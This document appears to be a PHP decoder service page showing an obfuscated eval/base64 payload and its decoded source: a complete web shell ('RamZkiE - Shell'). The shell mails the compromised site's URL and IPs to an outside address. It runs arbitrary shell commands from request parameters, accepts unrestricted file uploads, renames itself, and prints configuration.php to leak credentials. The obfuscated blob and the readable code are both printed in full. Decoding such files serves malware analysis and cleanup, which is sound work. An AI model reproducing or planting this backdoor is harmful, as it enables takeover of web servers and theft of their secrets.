Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(gzinflate(str_rot13(base64_decode('rUl6QuNTEP5cJP7Dso1xVAcO16rSCTA6CqZRKoTGoR8KyNrYm3..

Decoded Output download

error_reporting(0);
if (!isset($_SESSION['bajak']))	{
$visitcount = 0;
$web = $_SERVER["HTTP_HOST"];
$inj = $_SERVER["REQUEST_URI"];
$body = "ada yang inject 
$web$inj";
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "SAFE_MODE = OFF";}
else {$security= "SAFE_MODE = ON";};
$serper=gethostbyname($_SERVER['SERVER_ADDR']);
$injektor = gethostbyname($_SERVER['REMOTE_ADDR']);
mail("[email protected]", "$body","Hasil Bajakan http://$web$inj
$security
IP Server = $serper
 IP Injector= $injektor");
$_SESSION['bajak'] = 0;
}
else {$_SESSION['bajak']++;};
if(isset($_GET['clone'])){
$source = $_SERVER['SCRIPT_FILENAME'];
$desti =$_SERVER['DOCUMENT_ROOT']."/myluph.php";
rename($source, $desti);
}
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "SAFE_MODE : OFF";}
else {$security= "SAFE_MODE : ON";}
echo "<title>RamZkiE - Shell</title><br>";
echo "<font size=2 color=#888888><b>".$security."</b><br>";
$cur_user="(".get_current_user().")";
echo "<font size=2 color=#888888><b>User : uid=".getmyuid().$cur_user." gid=".getmygid().$cur_user."</b><br>";
echo "<font size=2 color=#888888><b>Uname : ".php_uname()."</b><br>";
function pwd() {
$cwd = getcwd();
if($u=strrpos($cwd,'/')){
if($u!=strlen($cwd)-1){
return $cwd.'/';}
else{return $cwd;};
}
elseif($u=strrpos($cwd,'\')){
if($u!=strlen($cwd)-1){
return $cwd.'\';}
else{return $cwd;};
};
}
echo '<form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form>';
echo '<form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form>';
if(isset($_POST['submit'])){
$uploaddir = pwd();
if(!$name=$_POST['newname']){$name = $_FILES['userfile']['name'];};
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name);
if(move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name)){
echo "Upload Failed";
} else { echo "Upload Success to ".$uploaddir.$name." :D "; }
}
if(isset($_POST['command'])){
$cmd = $_POST['cmd'];
echo "<pre><font size=3 color=#000000>".shell_exec($cmd)."</font></pre>";
}
elseif(isset($_GET['cmd'])){
$comd = $_GET['cmd'];
echo "<pre><font size=3 color=#000000>".shell_exec($comd)."</font></pre>";
}
elseif(isset($_GET['smtp'])){
$smtp = file_get_contents("../../configuration.php");
echo $smtp;
}
else { echo "<pre><font size=3 color=#000000>".shell_exec('ls -la')."</font></pre>";
}

Did this file decode correctly?

Original Code

eval(gzinflate(str_rot13(base64_decode('rUl6QuNTEP5cJP7Dso1xVAcO16rSCTA6CqZRKoTGoR8KyNrYm3EP23jtruFFxH/vzK6dl4Oj3OmiVbHn9Zl0c3TDlZIqRLySyohl6u9p9zc3xIT4W094YfxBElRk3B9cXHtw9ondbLfd7kKPmxude6GFVnJdGhKSXWPqPPAxPKLD8O91a1rPU6PL5HkQj+gtqlL5dlo9jP66iuJEZTXsO4OxzOZgTkzGyJyVRgIePDXkpsTQ6ELRWbMJL2kzDqYfUimSKaD0Q5gUMuPeAv/CsFgeO5qntRJzDuHjo9MoOR+cURBgY21X9582N2uu+StJF2BxRmZIZBVPxpnUczwvTMH9UlKe+1qOQUGGQEZGM78zRU6QrzkNo/PBKE1kKpjIfTpzT7NFz2uef5yiKFVyTrcJtTTRem3GtMjJ79gTSZKZMdVer9cSBZS1tdyU/VgSZmjPEVJGwlpWQNq3/FcF4hYotbCf9bx28ZKpdBbv3kyKxMRi5+aPdWftpbksOc4MjoyWtVf56hBr8fGwfzlXQft/UxdU55F0ByHj2ggSLq1BBsdK59HFKBkOBiPvNqC9b57X1SyocxXOhOKOR5dgm7gIXYf4Bw7M3psGc88NDBilM1bogREm54dQSfxmJyKyUG956k7PiQ/G6hBYdXknEs6TFv/y8BeSyhxt8/MH+wHDUBosEgb0oDdeOGpAmNTQ2pD6NID6EhAAKcYK/WFAu2LNZAUOQ04tstBTKubwCBEWKQJXpljl9FjlKqw35cPOTk+KvVl328fubZhWXaZTyJJHD5CM4CSlD5k7RSmK3Nxo6kMbpSqpfdRiez3Pjp1IeqEu56VIaGreo09kRquSoCQA47atjytlO9ON/KUUNzffkgOsv56kVoSUbECZKlWBGwOYvsQVV5jlIKT08GhPj3JEsDJ4CTwQckgbb+YVD6nhnw0lyGRV0yKj69q4HhdvqWpkKLl0bHrf78C+h8gOvf1opBwacVAUaGFRxZSxaTsZM6xS3paD1fxCCUpILkxTQVLOehk9tH5JzVlxGS8btNpuXzOYgH+jxtnEStrk/OCivYrigj9L7z2yCm8lPrLpvN//1uQp+QM+Q5LmWevQsDUHB7LR0bFMY+sKXqNqcpEicNeeZmFKdno9MoE7vU2ega2OxdH6NGPA6dEq7OrFXRtfey0l3i3YTCM7h4W854mLzrMEDfwXXVlEJc4N1u0CWmDTNGB+VSis1u2RaSrgLuQZ7oUn4rYwTNPHaJplrYkBRPByOEteeyeE7pMne9qekdwMfcsynBFYTKMsMns/NXitRXxogn56J3XXfmBM28s74Z9s6nAku9XcEPXQl66tlvVbs0tPkA2GpeJ7IchiwqALRi0uYWsGENiwxN4uEAFhFw2XWtCDL7xCxLRJDA+6vZS7LVXru/rXgXwHaS/XcSd03ovw/wM=')))); 

Function Calls

gzinflate 1
str_rot13 1
base64_decode 1

Variables

None

Stats

MD5 274f82eb33670df9285ad47561ed6e8e
Eval Count 1
Decode Time 115 ms